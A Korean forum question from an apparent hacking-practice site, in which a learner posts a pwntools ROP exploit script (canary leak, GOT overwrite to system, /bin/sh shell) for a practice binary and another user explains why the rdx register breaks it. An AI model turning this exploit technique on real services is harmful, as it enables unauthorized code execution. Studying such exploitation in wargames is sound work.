쉘 획득 X

로컬에서 왜 안되는지 모르겠습니다 ㅜㅜ 도와주세요
vmmap으로 확인했을 때 /lib/x86_64-linux-gnu/libc-2.31.so 였고
화면 캡처 2022-04-12 162011.png
rop 바이너리에서
pop_rdi = 0x0000000000401303
pop_rsi_r15 = 0x0000000000401301 였습니다.
혹시 rdx가 안될까 싶어서 pop_rdx_r12도 추가해봤는데 동작하지 않습니다ㅠ
pop_rdx_r12 = 0x0000000000119241
화면 캡처 2022-04-12 162037.png

from pwn import *

def slog(name, addr):
	return success(": ".join([name, hex(addr)]))

p = process('./rop')
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x0000000000401303
pop_rsi_r15 = 0x0000000000401301
pop_rdx_r12 = 0x0000000000119241
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
#payload += p64(pop_rdx_r12) + p64(0x10) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)

p.sendafter("Buf: ", payload)

read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]

slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")

p.interactive()
'''
#시스템_해킹 #공격기법 #rop
작성자 정보
답변 1
avatar
bincat
Closed Beta Tester

확인해보니 2.31에서는 두번째 read 할 때 rdx 값이 0이어서 안되는 것 같습니다.
구하신 pop rdx offset은 libc 오프셋인것같네요!!
그래서 read got 가 system으로 변경되지 않는것같아요

2022.04.13. 13:27
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기